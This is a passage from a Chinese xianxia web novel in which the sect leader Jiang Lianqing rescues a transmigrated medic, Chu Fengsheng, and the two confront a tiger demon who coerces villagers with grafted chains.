楚逢生深吸一口气,再也忍不住,开口攻击道:“呵呵,你是没有家人吗?”
谁曾想这妖修反应如此之大,居然连刀都不稳了,一副受重伤死不承认的模样,说梦话般反驳着。
楚逢生也不想知道他是不是真的没有家人。
现在的情况,若无奇迹发生他应该是要死的吧?那此时不过嘴瘾又待何时?
下一句立马又出口了:“你这辈子也算完了,杀完我记得捅自己一刀,别活着浪费灵气。”
那妖修怒气更甚,直接把刀贴上他的脖子:“我让你把那东西交出来!你到底借不借?别扯些有的没的!”
“哇塞。”
楚逢生的回应是不屑的蔑视。
“要命一条,到底动不动手?”
要是左右都要死,那就死吧,他楚逢生也不是贪生怕死之人。
这妖修口中的小白草大概率是指云蘅草,云蘅草长于雪淞谷深处最陡峭的石壁上,更有风雪为刃相阻,采摘难度之大可见一斑。
这株焉了的草又不是他的,他给人家的珍贵之物做主?
得了吧,他只是嘴贱,又不是心黑。
“凭什么非要给你?去找医修看看脑子,别得了什么这儿有问题的病跑出来发疯。”
“老子又不是什么许愿王八,你要我就得给是什么道理?把抢劫说的这么好听。”
此言一出,妖修彻底被激怒,本就恐怖的双眼通红。
“姓楚的,你以为你的命很贵吗?摆什么谱?!老子杀了你也是一样拿到!”
楚逢生:“说的好像给你你就不杀了。”
“还敢嘴硬!”
妖修挥刀砍下。
黑刀划破气流的浑浊气息里,蓦然出现一阵梨花清香。
似有似无,淡香迷人。
红色飘带在空中飘扬,青衣飒爽,一把红伞执手中,几下挑开了刀刃。
这青色倩影从天而降,梨花香味久不消散。
楚逢生一下看愣了。
姜涟清最终还是决定出手救这个嘴巴奇毒的人,说到底他是被迫害的。
她用夜阑珊将那高大妖修打飞,顺便估了估这妖修的实力。
不过金丹,不足为惧。
她轻轻瞥了一眼那妖冶少年,又将目光投给那妖修,正色道:“何人敢在我归谕门前欺凌弱小?”
“归谕门?!”那妖修惊叫出声。
他顿时不想再多留,狠狠剜了一眼楚逢生:“楚医师真是命好,呵呵,来日方长!”
说罢,化作一缕黑烟流进树林里。
姜涟清觉得奇怪,怎么一听到归谕门跑得这么快?归谕门也不是什么凶神恶煞的宗门,为何如此害怕?
罢了罢了,反正人已经救下,再多的有的是时间细想。
姜涟清转身,正要开口询问那少年伤势,却见他直愣愣地看着自己,呆住了。
姜涟清:“?”
归谕门在外名声真的很恐怖吗,怎么这幅表情?
她收起夜阑珊,几步走到少年身前蹲下,清丽的眉眼间带着些不解,更多的是关切。
姜涟清轻声问:“你还好吗?”
楚逢生听到这清脆如银铃般的声音后,即刻从方才的震惊中回过神来。
“啊,啊……没事,当然没事。”楚逢生回
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避视线,眸色一深,“谢姑娘出手相助,我没事。”
这个有病的世界到底要他怎么样?楚逢生心中对着穿越一事疯狂吐槽着。
看楚逢生回避,姜涟清更纳闷了。
归谕门在江湖中莫非真的名声堪忧?大师兄是如何做的,都这样了居然没见师尊因此鞭策他?
姜涟清站了起来:“若无大碍,我便先行一步,小友出门在外千万小心。”
“不不不!”楚逢生囫囵摇头,“侠女,可不可以帮我一个忙啊?”
姜涟清迟疑了片刻:“你说?”
楚逢生咳嗽几声,使劲掐了掐大腿,逼自己流出几滴眼泪来。
他可怜兮兮道:“您刚才也听见了,那妖修要和我来日方长啊!他还要再来找我!”
“谁要和这个杀人越货的来日方长啊!”
楚逢生捂住心口。
“可怜我一届医修,身无分文来到此地,只有身上几根灵草居然还要让妖觊觎,将我重伤致此……”
“侠女,你可不可以带我一起走?那妖刚才这么怕您,定是听过您宗门的威望才仓皇逃跑!”
“所以……”楚逢生对上那双烟青色的眼睛,“可不可以带我一起走?”
怕姜涟清觉得麻烦,他又说:“我很好活的!我还是医修,若是您受伤了我还可以给侠女您疗伤,求你了侠女!我怕您一走,那妖怪就卷土重来。”
“我脾气很好的,绝对不会惹你生气!”
姜涟清:“……”
别的暂且不谈,脾气好?
那刚刚开口就问候人家家人的是谁?
姜涟清:“可是……”
楚逢生一听觉着她要拒绝:“我会很听话的!让往东绝不往西!”
姜涟清抿唇,又言:“可是……”
楚逢生:“我真的很有用!”
姜涟清扶了一下额头:“……让我说完。”
“好的。”楚逢生乖巧闭嘴。
姜涟清再次蹲下,烟青色的眼眸清亮,她不咸不淡道:“可是我刚刚听见,你问人家是不是没有家人。”
楚逢生:“……”
姜涟清微笑:“脾气真的好吗?”
楚逢生无言以对。
不过姜涟清觉得他说的不无道理,那妖修的确是听了归谕门的名号才逃走的,眼下这少年最能保障安全的方法,就是待在归谕门人,她的身边。
虽然不知这声称自己一穷二白的少年并不完全可信,但姜涟清有自己的私心。
说来矫情,可她,就是不想一个人。
身边有人作伴再好不过了。
她不想一个人待在空荡荡的宗门里,不想感知不到一丝人气。
“好吧,我就勉为其难答应你了。”
姜涟清拍拍衣摆,又站了起来,虽是居高临下的姿态,眼神却意外温柔。
“我叫姜涟清,归谕门门主。”
“从今天开始,到你离开降星洲的那一天结束,你就跟着我吧!”
楚逢生笑笑:“谢姜门主仁慈!我叫楚逢生,绝境逢生的逢生。”
他麻溜地从地上爬起来,却心口一闷,猛的吐出一口血来。
好在他反应快,转身即时,血渍没溅到姜涟清身上。
“你怎么了?”姜涟清关心道,说着就要上前查看。
血腥味,太刺鼻了。
一闻到就有种想流泪的冲动。
“咳咳……”楚逢生又吐出两口血来,心中诧异。他擦了擦嘴角的血:“我没事,但如果可以的话,姜门主可以先带我回归谕门吗?”
姜涟清点头:“跟我来吧。”
5. chapter.5云蘅
姜涟清带着楚逢生回到归谕门后,去灵药堂里翻了几株助疗伤的药草来。
她不太懂药理,但她知道大师兄出门回来后要是受伤了,用到的几种草药肯定能让伤口快速愈合。
于是,她不假思索地翻出一堆五颜六色的灵草,往晨雾苑去。
一地梨白无人扫,白色的花瓣颜色愈发暗沉,一点点腐烂着,要与大地融为一体。
楚逢生坐在石桌上,拿着一棵银白色的草细细观察着,看起来已无大碍,可他的脸色依旧惨白。
说起来或许很冒犯,但姜涟清觉得,他的皮肤就和尸体的皮肤状态一样。
她心中叹息,虽然她知道自己不能一味沉浸在悲伤中,可每每联想时,就不可控得回忆起那满地尸首。
正因见过太多,她才觉得楚逢生的状态真的很怪,已经不太像个活人了。
姜涟清把一堆草放在桌子上,戳了戳楚逢生的肩膀:“楚逢生,你看看有没有你用得到的,我不太懂灵草。”
楚逢生被戳得身体一僵,缓缓转头,入目即是各种五花八门的草药,粗略看了下,有补血的,有补灵力的,有疗愈所需的……
这些都算了。
可为什么有一朵淡蓝绛霜花?
楚逢生吞了一口口水。
谁不知道绛霜花是同生共死一词最好的代表,形似月见,一支双花,红蓝并蒂,单朵剧毒,两朵花互为解药。
而眼下这一桌花草里,寻不到另一朵淡红的花朵。
他背后一凉。
“呃,姜门主。”楚逢生从这堆草里挑出了绛霜花,“虽然我说话是难听了那么点,但是不至于要毒死我吧?”
姜涟清:“?”
姜涟清不解:“什么啊,我没有要毒死你啊?”
楚逢生:“这个叫绛霜,单朵花剧毒啊!我只是说话难听而已我罪不至死!”
姜涟清接过这朵花,细细辨认了一番,发现这淡蓝色渐变的花确实没在谢砚声的草药里看到过。
应该是灵草太多,她混淆了。
她轻咳几声,将花背在身后:“东西太多了,一不小心拿错了,其他的应该有用吧?”
楚逢生点头:“不完全没用,但确实不是很需要,我只是要缓缓而已,抱歉啊,我没说清楚。”
姜涟清狐疑:“你吐血欸?还只需要缓缓?脸白的和尸体一样。”
她立刻后悔了,自己就这样把冒犯的想法脱口而出,是熟人还好,偏偏是个还认识不到半天的。
当时遇到棠溪迟她就没给人留个好印象,现在遇到楚逢生又没有!
这就是她两百年不出山门的弊端啊!
天色突然暗下来,太阳藏匿于云层,消失不见,阴凉的风随之而来,将桌上的几株灵草吹落。
姜涟清一愣,又要下雨了。
“先进屋吧。”她低头,捡起灵草,“等雨停了我还要下山,到时候你就在这里休息,不会有人来打扰的。”
“好啊。”楚逢生应声,完全不在意姜涟清失言之事。
倒不是他觉得这话不算难听,只是他自己也知道这具身体暂时还是个死人样。
姜涟清不过陈述事实罢了。
他的灵魂在这具身体里住的再久一些,或许就该有活人样了。
他该谢谢吐出去的那几口死血。
灵脉疏通,温和的灵力在身体里流转,借这株云蘅草也够恢复如初。
大兄弟,用你的草恢复你自己的身体总不能怪我吧?
*
沉闷的雷声带来急促的雨点,清明时节多雨,空气间都有股黏腻潮湿的气息。
天色晦暗,窗户还开着。
白色的纱帘飘扬,卷着清凉的雨丝,尽数带到屋内来。
“楚逢生,窗户关一下。”
“好。”
姜涟清掏出一颗长明珠摆在书案上,周围突然亮堂起来。
咔哒——
窗户紧锁,风雨拦于屋外。
落雨时总有思绪万千,姜涟清突然想起,一月之前的那场清雨。
清雨亦难逃过被染红的命运,汇起的血海历历在目。
同时,也是那场雨,把四处飞溅的血渍悉数稀释,最后归于平常,仿佛血流成河只是幻觉。
雨水带走了红月夜的痕迹。
谁曾想呢,吴云贺会被一个十恶不赦的邪祟附身?谁曾想呢,命运无常至此,捉摸不透。
姜涟清无法忘记,春望说这是归谕门的天命,是命运要他们死去。
如果,就像楚逢生惨遭毒手前遇上她一样,在红月升空前有谁提前告知这场劫难,会有机会避开吗?
要是她能看见命运的丝线就好了,要是那夜的星星看得清就好了,要是她更早察觉到异常就好了。
可如果她真的能做到,结果会不一样吗?
不知道了。
已经发生的事,再多如果都无法挽回。
只有活着的人,带着死者的爱与希望想要去到一个美好的以后。
就当是为了他们。
为了他们,姜涟清一定一定要活下去,一定要去妄洲,向邪祟复仇。
哪怕是孤身一人。
“姜门主。”
听到楚逢生喊她,姜涟清从愁绪中回过神来。
姜涟清忽得想起今日运势未算,三枚梨花钱落于掌中。她若无其事地掷了钱币:“有事吗?”
“有。”
楚逢生还拿着那株银白的灵草,也没有什么特别的动作,只是这样拿着。
这株灵草有股淡淡的幽香,光是闻着便觉格外惬意。
“方才我便想问了。”楚逢生将眼一抬,桃花般潋滟的双眸满含严肃,“我一进来这里,就嗅到了一股血腥味,发生了什么?”
姜涟清被问得一愣,如鲠在喉。
她要以什么样的语气再提起那晚的经历,又要以什么样的语气描述那人山血海?
她垂下眼眸,试图隐藏情绪:“约莫一月前,变故横生,我归谕门子弟皆命丧黄泉,单留我一人。”
“……抱歉。”楚逢生没想到,真真是他预想过的答案。
他本还觉得是巧合,可情节始初已经对上了。
他穿越到了一千年前。
“抱歉,姜门主,提起你的伤心事了。”
但嗅到血腥味之事绝非作假,他们医修的嗅觉比一般人灵敏,很容易能闻出空气中与众不同的气息。
“没关系,我会报仇的。”姜涟清坚定道。她看着那株银白的灵草。
这株草她倒是在古籍中见过,隐约记得它好像叫“枯木逢春”?楚逢生已经拿着它许久了,却迟迟没有其他动作。
姜涟清问:“你拿着的,是什么?”
意识到她问的是云蘅草,楚逢生回道:“云蘅草啊,初日洲雪淞谷最难采摘的灵草,素有起死回生之盛名
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,和绛霜花风评完全反着来!”
云蘅草?
这名字又是哪里来的,完全没听过。
姜涟清:“为什么叫云蘅草?它不是叫枯木逢春吗?”
“哼哼~”涉及到自己精通的领域,楚逢生如数家珍,“‘轻盈如浮云,幽香如杜蘅’,从它本身特点取出来的名字啊,它的香味就是和杜蘅很像,而且它长在雪淞谷深处的峭崖壁上,成天和云似的飘。”
“雪淞谷知道吗?它总有风雪相伴。和云上洲这处处是雪的地方有个四季常青的飘飖山一样,初日洲独独出了这么个一年四季都是冬天的雪淞谷。”
姜涟清:“这样啊。”
桌面上的梨花钱扔出了三个正面。
姜涟清:“那我是不是可以猜一下,那妖修想杀你,是为了从你手中拿到云蘅草?你不是说了嘛,起死回生之盛名呢。”
“哇塞。”
楚逢生没想到这都让姜涟清猜到了,他也没提过被追杀的原因啊?
不愧是传闻中的女子,慧眼识真相。
“怎么猜到的?”
姜涟清收了梨花钱,哦了一声:“你不是说你一穷二白浑身上下只有几棵草吗?那还能图你什么,图你人?”
楚逢生:“……”
楚逢生:“图我人就算了,有点恶心。虽然我长得不差,但还不如图草呢。”
他决定换个话题,妖修图他什么听起来和话本似的,还不如打探点别的。
他咳嗽两声:“我有个问题啊,姜门主。”
姜涟清:“你说呗,反正现在下雨,还有点时间和你聊,等雨停我就要下山了。”
楚逢生好奇:“下山干什么?”
姜涟清:“惩恶扬善啊,一个人待在宗门里太难熬了。”她顿了一下,问:“等我武艺练成我就南下,届时你要是不打算走的话,可以帮我看一下归谕门吗?”
“你要南下?为什么?”
“我不是说过吗?我要报仇。我归谕门三千弟子皆死于邪祟之手,此仇不报谈何复兴?我的长辈、同门,在地下看着呢。”
楚逢生脑海中突然想起了关于她的传闻,张了张嘴,一时语塞。
姜涟清继续说:“在你之前,归谕门来过其他客人,算是我朋友。他临行之前说,我若是想去妄洲复仇,必先破化神,而后就是精进武艺。”
“这些话不无道理,毕竟卜修在武艺上向来弱些乃是不争的事实。本来我今日就要往南方去了,昨日才改变主意决定下山历练一番。”
“谁曾想就遇到你被妖修所害?许是命运使然吧,人只能把这些说不清缘由的东西归于命运。”
“而我们卜修是绝不可能质疑天命的。”
归于命运?
楚逢生摇头:“不,命运什么的谁敢说有固定走向?就算是观天象窥天机,的确是预言,可事情发生的原因是因为看见的未来吗?”
“如果就个人而言,自身秉性才决定自身命运吧?”
他神色淡淡,对上姜涟清的眼睛。
“姜门主,好比你决定复仇,这是命运而不是你所想吗?”
“你想,所以你做。”
“这是你为自己书写的命运。”
血海骨峦破云来。
他心中默念。
这是姜涟清传闻的前一句,她走上救世之旅的原因便在此处总结。
后世称她的旅途,为救世之旅。
6. chapter.6伥鬼
此言一出,姜涟清一怔。
这是她为自己书写的命运吗?从未有人告诉过她,她的选择是她决定的命运。
姜涟清无措地眨眨眼,说出的话都磕磕绊绊:“你,你刚才要问什么来着?”
楚逢生笑笑:“不好意思,我忘记了。”
春日阴晴不定,方才还电闪雷鸣大雨滂沱,此时已听不到屋外的雷雨声。
楚逢生轻声问:“接下来,你要下山了吗?”
“对啊。”姜涟清说,“我不是说了吗?雨停了我就下山,我在山里待了太久了,还没有入世过。”
“哦,这样啊。”楚逢生一指轻弹云蘅草,“那我可以随行吗?”
姜涟清拒绝:“不可以哦,你一个刚吐完血的人,就是枯木逢春在手也不能这么短的时间内恢复。”
楚逢生试图辩解:“有没有一种可能我异于常人呢?”
姜涟清站起身来,拉开了纱帘。
她透过窗户缝看见屋外天光大亮,满地雨水折射光亮:“好好休息吧,你不是说你会听我话的吗?”
“我都金丹期了……”
“我元婴了哦。”
姜涟清再次打开窗户,水雾弥漫在空中,气息浓郁。
“你伤势未愈,不要轻举妄动,乖乖待在这等我回来,你自己说会听我话的。”
楚逢生:“……”
楚逢生无言以对,真是搬起石头砸自己的脚。
听话两个字要是能出现在楚逢生的字典里,那楚逢生大概率是被夺舍了吧。
“好吧,我说到做到。”他应了。
姜涟清满意点头,收了长明珠后捏了个法诀,设了一道保护屏障。
宗门中只有一柔弱医修,再无其他,那日的血气定然传播甚广,归谕门出事在外界怕已经不是秘密了。
既如此,还是设下屏障才安全些。
只要楚逢生自己不乱跑,就不会出事。
*
雨后的地面泥泞不堪,一步一个角落明显非常。
姜涟清终于是出了碧云山。
说她坐井观天似乎也没错,如此广袤无垠的天地,是她两百年来第一次见。
晴空碧日,芳草青青。
虽说是出门历练,但她完全没有一个方向,只能顺着灵气流动异常的方向漫步寻迹。
降星洲灵气充盈,任何魔息混杂其间都极容易探测到,这几乎是降星洲修士的统一技巧。
“啊啊啊啊啊!我错了!我给!我都给!放过我吧大人!您要什么我都可以给你,恳请大人饶小的一命啊!”
姜涟清顺着魔息寻到这处村庄时,在村口便听到了呼喊求饶声。
她疾步向村中走去。
一凶神恶煞的虎妖提着两根狼牙棒,气势汹汹地立在布衣村民面前,逼着他交出什么东西。
村民倒在地上,哆嗦着,从衣襟里掏出一块色泽璀璨的金色灵石。
虎妖得意洋洋地接过,在手上掂量了几下。
“算你识相!不过……”
他把灵石拴在裤腰带上,阴恻恻地笑了:“你现在上交,确实是很有眼见,可万一你不是诚心的呢?万一你转头就去找修仙界那帮见妖就打的贱/人……”
“不!不不不……!”村民慌忙摇头,满面橫泪,一点一点向后退,“我绝对不会向修士提起您的!我不会说的!”
“啧啧啧。”虎妖把玩着手上的狼牙棒,扔起又接住,“嘴上说的好听,可没有用啊……”
“我们大王因此可吃过不少亏了,所以他时常教导我们,宁可错杀……”
“不可放过!”
虎妖毛茸茸的耳朵一抖,眼睛一红,狼牙棒直直朝着村民砸去!
砰——!
一柄红伞挡住了他的攻势,伞面忽然绽开,珠帘飘着,青色的灵力汇于伞尖,把虎妖震飞出去!
那狼牙棒随之落地,虎妖的手都颤抖。
“光天化日之下欺负普通人,世风日下,道德沦丧!”
姜涟清把虎妖震飞出去后,一手叉腰,一手撑伞,愤愤地瞪着他。
扬起的尘土一时间模糊了气息,那虎妖捂着胸口咳嗽了几声,一甩头,露出獠牙。
虎妖:“哪里来的小丫头也敢挡你爷爷做事?”
姜涟清冷哼一声:“不好意思,我无父无母,更没有爷爷哦~”
虎妖狼狈捡起武器,大喝一声,冲上来直往姜涟清的脸砸下来!
“一小丫头还想和老子干架,才几斤几两就敢逞英雄?”
姜涟清丝毫不慌,袖里捏了一枚梨花钱,定眸凝神。
一钱掷出,元婴期修为毫无掩饰!
梨花钱带着元婴期的灵力将虎妖的武器砸成了两半,他仓皇向后退去,满脸不可置信。
虎妖两眼瞪圆:“元婴期?!不可能啊!这降星洲才几个元婴期修士?那个最爱管闲事的不是已经死了吗!”
虎妖知眼前人单凭修为就能直接诛杀他,心中恐慌愈发强烈。
“呵!元婴期……算我运气不好……还等什么?!你不想活了也不想让你的妻儿活了吗!”
这话是对着姜涟清身后的村民喊的。
姜涟清察觉到身后有什么不对,眉头一皱,迅速转身!
沉重的锁链由她身后越退越远的村民胸口破皮肉而出,周遭凸起黑红色的筋。
有什么东西种在他的胸口。
伞面挡下锁链之时,姜涟清明显感觉到自己有些使不上灵力了。
她眸色凝重,掷出红伞。
红伞边缘瞬间锋利如刀刃,旋转着向锁链冲去,不过须臾便斩断了这黑色的链条。
然而更多锁链从村民的胸口喷涌而出,姜涟清想到这锁链的怪效,只能操纵夜阑珊隔空阻拦。
此时虎妖露出利爪,似乎觉得她顾及不急,正欲从后偷袭!
不过姜涟清的感知能力先天独厚,妖气袭来之时,她便已有所动作。
虽然她曾经从未出过碧云山,可谢砚声出山频繁,实战经验丰富,和他对练向来受益匪浅。
裙摆旋成一朵青花,她眸色一凝,毫不犹豫地掷出手上捏着的东西。
一枚梨花钱直击虎妖门面!
一阵清风划过,虎妖随之被击飞,直直砸向村边的大树,几乎被这股力钉在树上!
落叶纷纷,枝丫乱颤。
“偷袭我?”姜涟清收回梨花钱,吹了吹上边的灰,“勇气可嘉。”
“我大师兄都做不到的事,你还想做到?”
虎妖欲骂,却猛得吐出一口鲜血来。
他咬牙切齿。
这小丫头怎么比谢砚声那个脑子有病的东西还难对付?!这群元婴期一个比一个像怪物!
那归谕门血气蔓延,几乎全降星洲都知道这个出了两个元婴期弟子的小宗门被灭门了!在那两个元婴之一回门的当晚!
他们和大王知道这件事后普天同庆,办了三天宴席,连着三天都不用出来做事。后来办事事半功倍,再没有修士敌得过他们!
谁曾想?谁又能想到,还会有元婴期从碧云山的方向过来坏他们的好事?!
虎妖暂时失去了行动能力,可转眼看去,那村民身体里长出的锁链却愈多,斩之不尽,长之不竭。
夜阑珊重新回到姜涟清手中。
她从未在师兄口中听过如此怪异之事,一时不知该如何处理。
突然,一枚冰蓝色的针扎破空而出,不偏不倚扎在了村民的心脉
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上!
黑色锁链顿时失去支立,悉数缩回心口,只留那黑红色脉络。
姜涟清愣住,顾不得收起夜阑珊,立刻前去查看村民情况。
但愿没有大碍。
“啧啧,把东西种在普通人的心口,这种妖修是要上通缉令的知道吗?”
楚逢生悠哉悠哉地从暗处走出,一手抱胸,一手拿着那寒玉般的冰针。
“谁教你们这么嫁接的?”
姜涟清没空去想楚逢生为何会出现在这里,上前去想把恢复正常的村民扶起。
可还没碰到,村民倒是直接拂开了她的手,瞳孔中布满血丝,满是怨恨地看着她。
她看不懂,这是在怨些什么?
楚逢生睨了一眼虎妖:“也是对自己实力太自信撞到铁板了吧?”
“不过这东西,看起来挺低级的,哪个医修教的?双向同意够麻烦的。”
姜涟清闻其言立刻回头。
她问:“什么双向同意?”
楚逢生答:“顾名思义喽,就是种的一方和被种的一方都愿意。”
虎妖在看清楚逢生的脸时神色骤变,不可置信地瞪大双眼,像是要在他身上盯出个窟窿。
“不可能啊……”他喃喃自语,“楚医师不是已经……”
他知道自己这一票已经失败,断不能在此过多停留,更何况还有这么大的消息。
顷刻间,虎妖化为原型,向村外逃去。
楚逢生见此几乎是立刻要追上探个究竟,那虎妖含糊着说了什么楚医师,不就是他暂居身体的代称?
“楚逢生。”
听到姜涟清的声音,他又停下了脚步。
姜涟清深呼出一口气,看着地上满身汗大喘气的村民,强行弯起一个微笑。
“也就是说,无论如何要经过这位的同意,对吧?”
楚逢生:“对啊。”
“这样啊……”姜涟清将梨花钱放在大拇指上,向上一抛,“知道这会让我想到什么词吗?”
梨花钱稳稳落在她手心,反面朝上。
“为虎作伥。”
“刚刚好,那就是个虎妖。”
姜涟清淡淡道:“好吧,那这位……不知道为什么要用这般嫌恶眼神看着我的人,你为什么会同意?”
那村民神色不改,往地上吐了一口唾沫:“我呸!”
他双目赤红,无限怒气:“你们这群修士就乖乖上当不好吗?天底下的修士就该死绝!成天出来祸害我们凡人!”
“要不是你们得罪这些妖怪,我们凡人哪里会遭殃?我的妻儿都在他们手上,我若不从他们要怎么活下来?!”
姜涟清眉头一挑:“你说清楚,什么叫就该死绝?”
她呵呵两声:“我大师兄做过最多的事就是下山除恶扬善,怎么到你嘴里变成修士就该死绝了?”
“而且。”她眼神示意楚逢生,“方才要不是楚逢生帮你停下来,你的身体能承受得住吗?”
还是让医修来解释关于医修的东西,嫁接之法她只听过,还是第一次见。
第一次见就是如此邪门的用法。
那村民登时说不出话了。
这厢方法,按那群妖怪的说法来,确实是医修的嫁接之法,多用于疗愈。
然而到了这群妖手里,就成了种植锁链的媒介。
楚逢生言笑晏晏,蹲到村民面前,拿出一柄短刀:“你好好说话,我没有什么同理心哦,什么困境就说。”
“当个什么都不明说的谜语人,谁能凭空猜到你身上发生了什么是吗?”
他精心调整了一下短刀位置,短刀直指心脏。
姜涟清:“……?”
我是示意你这样恐吓人家的吗?
7. chapter.7芸芸
这村民听楚逢生所言,咽了口口水。
他声音因紧张而断断续续:“我、我就说,你们这群修士没一个好东西!你们和那群妖怪又有什么区别!”
姜涟清撑着红伞,烟青色的眼睛满含困惑:“为什么会这么说?这里发生了什么?”
“我方才进来时便能感觉到,这村里的活人气息微弱。”
“无论你相信与否。”姜涟清几步走到他身前,又一次向他伸出手,“我会帮你,只要你告诉我发生了什么。”
村民迟疑一瞬,顿在原地,依旧没有接这份力站起。他强忍着心中愤怒的情绪:“话说的倒是漂亮!你倒是让这人把刀放下啊!”
姜涟清:“这好说,楚逢生,放下,谁让你威胁他了?”
说着,曲起纤纤玉指,微微弯下身子,不轻不重地敲了一下他的头顶。
楚逢生莫名其妙:“你不是让我和你唱红白脸的意思吗?”
嘴上这么说,行动却一点也没落下,他立刻把短刀收了回去,拍拍身上的尘土站了起来。
楚逢生觉得自己真是太讲信用了,说听话就听话,一切跟着姜涟清的旨意走。
姜涟清一阵无语,完全不想搭理他。
“好了,现在可以告诉我,这里发生了什么吗?”
村民悬着的心终于放下。
“呵。”他搂了搂被锁链破开的衣服,盘腿坐着,“倘若你们修士不招惹这群妖怪,他们也不会拿我们凡人当把柄。”
“我问的是。”姜涟清目光如炬,“这村子发生了什么?”
村民一下子噎住了。
紧接着,几行泪从眼眶里流出,他哽咽开口:“要不是你们修士不分青红皂白,几乎屠我们全村!除了那群妖谁在意你们?!”
“呵,那个屠我全村的修士看着也不是什么高风亮节之辈,魔鬼!比这群妖怪还要像魔鬼!”
姜涟清:“话虽如此,但理由呢?可不可以说清楚前因后果,否则我不好判断,我是不会偏听偏信的。”
要是他说什么就信什么,那姜涟清高低骂自己一句蠢。
村民的恨意并不假,但是否真的是修士所为,又是否是真的屠戮无缘,还有待商榷。
“能有什么理由?!我们不过是过着几十年来都这样过的普通生活!我的家人因在妖怪手里还阴差阳错逃过一劫。”
“仙人仙人,我看和魔物也没差别!不都是在杀人!”
楚逢生二话不说,俯下身子,向着村民伸手。
村民顿时慌了:“你要做什么?我警告你我……”
那青衣少女还愿意好好说话,这黑衣男上来就是威胁他不按照她说的做就杀了他,他又要干什么!
楚逢生眼睛都不抬一下,拔下了扎在他心脉上的针。
“我没干嘛啊,你总不能说想和我的针亲密接触一辈子吧?”
“算了吧,我的针不愿意。”
“姜门主。”楚逢生转头看向姜涟清,一边收起针,“我觉得吧,既然这个村子不是完全只留下他一个人,还是换个人问。”
楚逢生冷冷瞥了一眼村民心口的痕迹:“看这状态不久之后,这痕迹足够遍布全身了,手艺过于粗糙,届时必有生命之忧。想来和妖邪交往也不是一朝一夕的事。”
“嗯哼。”姜涟清同意他的话,“正有此意,既不是只留他一个,还是换个人问好些,不说别的,可信度就会高很多。”
姜涟清顿了一下,又言:“说实在的,要是却有此事,但原因是此番为虎作伥之事,那我不难理解为什么。可能说的很薄情,但并非所有人都修苍生道,不是谁都会心甘情愿为苍生奉上所有的。”
“如果真的全村人都参与这种事。”姜涟清的瞳孔中倒映着村民躲闪的影子,“那和妖同流合污的你们,凭什么觉得自己无辜的?”
“那那些中招的修士,他们是什么下场?”
“我、我……我不知道,都被那群妖怪带走了,我怎么会知道!”村民慌忙从地上爬起来,不敢看那双眼。
“谁要知道他们怎么样了?!”
他踉跄着跑走了。
楚逢生还想追上去把人揪回来,姜涟清却将他拦下了。
姜涟清微微抬眼:“好了,接下来到你了。”
楚逢生满头雾水:“啊?我怎么了?”
姜涟清一手支着下巴,一手抱胸,就开始算账:“不是说会乖乖听话吗?”
她猛得上前一步,楚逢生就往后退一步。
楚逢生:“我没有听话吗?”
姜涟清又靠前了一步:“哦,那你怎么出现在这里了?”
楚逢生依旧后退,大脑飞速旋转着,不知道用什么理由搪塞过去,尴尬地笑了两声。
姜涟清:“我不是让你待在归谕门,不要乱跑吗?”
“额……”楚逢生别过眼去,一脸心虚,“但是姜门主你看!要不是我来了这个锁链也没那么快停下来对不对?”
“不是质疑你实力的意思,你元婴期修为肯定能解决这种东西,但是我这不是……”
姜涟清:“不是什么?”
楚逢生没招了。
他完全想不到要用什么理由来反驳这个既定事实。
姜涟清:“算了,你来了就来了。”
也没必要过多纠结这一点,他那一针扎过去确实省去了一些麻烦,那锁链怪异非常,但凡接触到就觉得灵力在逐渐失效。
只是……
姜涟清想到那虎妖逃走前,看向楚逢生那惶恐的眼神。
为什么要这样看着他呢?
姜涟清看向楚逢生的目光带上了探究。
这么说来,其实之前救他的时候,那妖修的态度就很怪吧?是真想要那株草,还是另有所图?
算了,当前还是不能过多纠结这一点,怀疑一旦产生只会愈演愈烈,起码楚逢生现在所为没有要害她的意思。
有的话说的真好。
事不过三。
棠溪迟是一,他确实是个奇怪的好人;楚逢生是二,目前摸不清,存疑;这第三就是那村民了,无需多言。
姜涟清突然感觉到,自己就是好人接触地太多了。
先前一直待在碧云山上的自己,见到的出来是谢砚声吴云贺这般纯善正气之人,所以现在下意识觉得,只要是人都是好的。
这是入世的大忌吧?
明明清楚人与人之间亦有差异,却还是……
她暗自叹气。
要改掉这个习惯。
出门在外人生地不熟,不多加防备被卖了都不知道。
如果大师兄在的话,一定会这样说。
那么接下来……
姜涟清轻轻瞥过那棵虎妖撞上过的大树,精准在那破烂房屋后锁定了一片灰色衣角。
日渐西下,日光的余韵仍在这世上久久不去。
天边少量的云朵染成橙红,黄昏时分,天地间都被这温热的丹霞笼罩。
“那边那位小朋友,你也看了很久了,现在还不打算出来吗?”
楚逢生闻
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声顺着她的目光看去。
一灰扑扑的小女孩从屋子后面走出来,稚嫩的脸庞沾着不知哪里惹来的黑灰,黑发如枯草,连眼睛都失去了光亮。
“姐姐。”她怯生生地喊了一声,“你是归谕门的人吗?”
她从袖口里掏出一枚青玉雕成的浮云吊坠,泛着些许白光。
“这个,一直在亮。”
姜涟清瞳孔一缩。
这玉佩上的浮云纹路她再熟悉不过,这白光的意义她再明白不过。
……
吴云贺。
“你,你……”她有些语无伦次,“你是从哪里拿到的?这枚坠子,你是从……”
小女孩缓步上前,漆黑的瞳孔照映着霞光。
她说:“那个,毁了这个村子的大哥哥,说这个东西,可以让我活下去。”
“他说。”
“往北方走吧,去碧云山。”
她递上这枚吊坠。
姜涟清接过,吊坠发烫,却并非是这黄昏的温度。
这意味着,归谕门弟子就在附近。
她蹲下来,从下而上注视在这女孩,语气温柔:“你叫什么?”
“芸芸。”小女孩提到自己的名字,浅笑安然,“娘亲说,是芸芸众生的芸芸。”
姜涟清睫毛微颤,轻声询问道:“那你为什么没有来归谕门?”
芸芸一歪头:“因为大哥哥,要自杀的时候?他突然变得好凶好凶,他警告我,不许我去。”
“我不知道该去该留。”
“总之后来,大哥哥走了。”芸芸说,“他又说,要是这个坠子亮了,就是归谕门人来了,他们看到这个,就会接我走。”
“姐姐,你是来接我的吗?”
芸芸眨着眼睛,空洞的眼眸里怀揣着希冀。
姜涟清没有立刻回答这个问题。
她察觉芸芸话中要素,又问:“你不恨他吗?”
芸芸一愣:“什么?”
姜涟清重复一遍:“他屠了整个村子,几乎只留下你,你不恨他吗?”
芸芸摇了摇头:“一开始有一点点,但是是他们先要害大哥哥的。虽然也有很多人对我很好,可是他们也害他,这叫什么来着,报仇?而且我不喜欢,我不喜欢他们和妖怪在一起。”
“娘亲就是因为妖怪再也回不来了,我不喜欢他们和妖怪一起害人。”
“像今天小梁哥对姐姐你这样。”芸芸似怜悯又似委屈,“有好多好多,和姐姐你一样的人,被妖怪抓走了。”
